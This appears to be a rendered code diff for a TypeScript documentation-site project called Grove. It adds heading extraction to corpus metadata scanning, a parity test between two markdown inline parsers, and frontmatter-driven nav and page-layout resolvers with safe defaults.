title: 'A',
|
|
170
|
+
headings: [
|
|
171
|
+
{ id: 'sec-8', text: '8. Capability model', depth: 2 },
|
|
172
|
+
{ id: 'getting-started', text: 'Getting started', depth: 2 },
|
|
173
|
+
{ id: 'getting-started-1', text: 'Getting started', depth: 2 },
|
|
174
|
+
],
|
|
175
|
+
});
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
it('the author own `headings` frontmatter key wins over the computed field', async () => {
|
|
179
|
+
const fs = fakeFs({
|
|
180
|
+
'/mnt/c/a.mdx': '---\ntitle: A\nheadings: authored\n---\n\n## One\n',
|
|
181
|
+
});
|
|
182
|
+
const meta = await scanCorpus('/mnt/c', fs);
|
|
183
|
+
expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A', headings: 'authored' });
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
it('a heading-less entry simply lacks the field (the old-index degrade)', async () => {
|
|
187
|
+
const fs = fakeFs({ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\nprose only\n' });
|
|
188
|
+
const meta = await scanCorpus('/mnt/c', fs);
|
|
189
|
+
expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A' });
|
|
190
|
+
});
|
|
191
|
+
});
|
package/src/lib/corpusScan.ts
CHANGED
|
@@ -21,6 +21,7 @@
|
|
|
21
21
|
|
|
22
22
|
import type { Frontmatter } from './frontmatter';
|
|
23
23
|
import { parseFrontmatter } from './frontmatter';
|
|
24
|
+
import { collectHeadings } from '@immediately-run/sdk';
|
|
24
25
|
|
|
25
26
|
/** The metadata map shape the SDK hooks read (`FilesMetadata`). */
|
|
26
27
|
export type CorpusMetadata = Record<string, Frontmatter>;
|
|
@@ -71,7 +72,14 @@ export async function listCorpusFiles(root: string, fs: ScanFs, maxDepth = 12):
|
|
|
71
72
|
return out.sort();
|
|
72
73
|
}
|
|
73
74
|
|
|
74
|
-
/** Read + parse a list of entries into the metadata map, bounded-concurrently.
|
|
75
|
+
/** Read + parse a list of entries into the metadata map, bounded-concurrently.
|
|
76
|
+
*
|
|
77
|
+
* The additive headings index extension (GROVE_AGENT_SPEC §4): a dispatched row
|
|
78
|
+
* carries its entry's `headings: [{id, text, depth}]`, ids from the same
|
|
79
|
+
* mdx-plugins canon the render path emits (via the SDK's `collectHeadings` — one
|
|
80
|
+
* implementation, shared with the tool that reads the field). The author's own
|
|
81
|
+
* frontmatter `headings` key wins; a row with none of either simply lacks the
|
|
82
|
+
* field (readers degrade to body reads). */
|
|
75
83
|
async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
|
|
76
84
|
const meta: CorpusMetadata = {};
|
|
77
85
|
let next = 0;
|
|
@@ -82,7 +90,14 @@ async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
|
|
|
82
90
|
const path = paths[i];
|
|
83
91
|
try {
|
|
84
92
|
const raw = await fs.readFile(path, 'utf8');
|
|
85
|
-
|
|
93
|
+
const parsed = parseFrontmatter(raw);
|
|
94
|
+
const row = parsed.data;
|
|
95
|
+
const headings = collectHeadings(parsed.body);
|
|
96
|
+
if (headings.length && !Object.prototype.hasOwnProperty.call(row, 'headings')) {
|
|
97
|
+
meta[path] = { ...row, headings } as Frontmatter & { headings?: unknown };
|
|
98
|
+
} else {
|
|
99
|
+
meta[path] = row;
|
|
100
|
+
}
|
|
86
101
|
} catch {
|
|
87
102
|
// One unreadable entry must not empty the whole corpus. It is simply absent from
|
|
88
103
|
// the index — the same state it would be in if the author had not written it.
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
// R3-531 — the parity assertion: `parseInlineProse` agrees with the SDK safe
|
|
2
|
+
// renderer's actual micromark path on the supported subset.
|
|
3
|
+
//
|
|
4
|
+
// The canon test lives in mdx-plugins; this one runs the SAME fixture through
|
|
5
|
+
// `parseSafeMdast` (the real producer — the same published bytes the sandbox
|
|
6
|
+
// resolves, inlined into these tests for exactly that reason) and asserts the
|
|
7
|
+
// first paragraph's inline children, normalised into `InlineProseNode`s, equal
|
|
8
|
+
// what the canon parses. Agreement by parallel implementation is a promise;
|
|
9
|
+
// this is the mechanism.
|
|
10
|
+
import { describe, expect, it } from 'vitest';
|
|
11
|
+
import { parseSafeMdast, type SafeMdastNode } from '@immediately-run/sdk';
|
|
12
|
+
import { INLINE_PROSE_FIXTURE, parseInlineProse, type InlineProseNode } from '@immediately-run/mdx-plugins';
|
|
13
|
+
|
|
14
|
+
// mdast inline vocabulary → InlineProseNode. Only the supported subset maps;
|
|
15
|
+
// anything else (a link, raw html) the fixture never produces, and a node of
|
|
16
|
+
// that shape failing the deep-equal is the drift alarm firing.
|
|
17
|
+
function toInlineProse(nodes: SafeMdastNode[]): InlineProseNode[] {
|
|
18
|
+
return nodes.map((n): InlineProseNode => {
|
|
19
|
+
switch (n.type) {
|
|
20
|
+
case 'text':
|
|
21
|
+
return { type: 'text', value: n.value ?? '' };
|
|
22
|
+
case 'inlineCode':
|
|
23
|
+
return { type: 'code', value: n.value ?? '' };
|
|
24
|
+
case 'strong':
|
|
25
|
+
return { type: 'strong', children: toInlineProse(n.children ?? []) };
|
|
26
|
+
case 'emphasis':
|
|
27
|
+
return { type: 'emphasis', children: toInlineProse(n.children ?? []) };
|
|
28
|
+
default:
|
|
29
|
+
throw new Error(`unexpected mdast node in a fixture paragraph: ${n.type}`);
|
|
30
|
+
}
|
|
31
|
+
});
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
describe('parseInlineProse matches the safe renderer on the supported subset', () => {
|
|
35
|
+
for (const c of INLINE_PROSE_FIXTURE) {
|
|
36
|
+
it(`agrees with parseSafeMdast: ${JSON.stringify(c.text).slice(0, 48)}`, async () => {
|
|
37
|
+
const tree = await parseSafeMdast(`\n${c.text}\n`);
|
|
38
|
+
const paragraph = tree.children?.find((n) => n.type === 'paragraph');
|
|
39
|
+
if (!paragraph) {
|
|
40
|
+
// The one case micromark renders as NO paragraph — an empty field —
|
|
41
|
+
// and the canon agrees by returning no nodes at all.
|
|
42
|
+
expect(c.tokens).toEqual([]);
|
|
43
|
+
expect(parseInlineProse(c.text)).toEqual([]);
|
|
44
|
+
return;
|
|
45
|
+
}
|
|
46
|
+
expect(toInlineProse(paragraph.children ?? [])).toEqual(c.tokens);
|
|
47
|
+
// And the canon here in grove's own dependency graph — the version this
|
|
48
|
+
// repo actually ships — produces the same shape the fixture pins.
|
|
49
|
+
expect(parseInlineProse(c.text)).toEqual(c.tokens);
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
});
|
package/src/lib/layout.ts
CHANGED
|
@@ -20,6 +20,35 @@ function layoutKeyForDir(dir: string): string {
|
|
|
20
20
|
return dir + '_layout.mdx';
|
|
21
21
|
}
|
|
22
22
|
|
|
23
|
+
/**
|
|
24
|
+
* R3-309 — which nav arrangement the ROOT layout asks for. The root `_layout.mdx`'s
|
|
25
|
+
* frontmatter may carry `nav: top | nav: side`; anything else (absent, misspelled,
|
|
26
|
+
* another shape) falls back to `'side'`, the arrangement Grove has always shipped —
|
|
27
|
+
* an undeclared value must never render an unstyled page. The top arrangement is the
|
|
28
|
+
* base `.grove-shell` CSS; `side` is the variant, so both polarities of this choice
|
|
29
|
+
* have rules on the other side of the attribute.
|
|
30
|
+
*/
|
|
31
|
+
export function resolveNavMode(
|
|
32
|
+
rootLayoutMeta: Record<string, unknown> | undefined,
|
|
33
|
+
): 'top' | 'side' {
|
|
34
|
+
return rootLayoutMeta?.nav === 'top' ? 'top' : 'side';
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* R3-309 — which page variant (bucket B) an entry selects. `layout: doc | post |
|
|
39
|
+
* full` in the entry's frontmatter; anything else — absent, misspelled, a future
|
|
40
|
+
* value the CSS does not implement — falls back to `'doc'`, the reference look,
|
|
41
|
+
* rather than rendering an unstyled page. The declared set is exactly what
|
|
42
|
+
* `GroveApp.css` carries `[data-layout]` rules for; the consistency test pins the
|
|
43
|
+
* two together.
|
|
44
|
+
*/
|
|
45
|
+
export function resolvePageLayout(
|
|
46
|
+
entryMeta: Record<string, unknown> | undefined,
|
|
47
|
+
): 'doc' | 'post' | 'full' {
|
|
48
|
+
const v = entryMeta?.layout;
|
|
49
|
+
return v === 'post' || v === 'full' ? v : 'doc';
|
|
50
|
+
}
|
|
51
|
+
|
|
23
52
|
/** Does an entry/layout opt out of an inherited layout chain? `frame: none`
|
|
24
53
|
* (or `frame: false`) means "render me bare / stop inheritance above here". */
|
|
25
54
|
function optsOut(meta: Record<string, unknown> | undefined): boolean {
|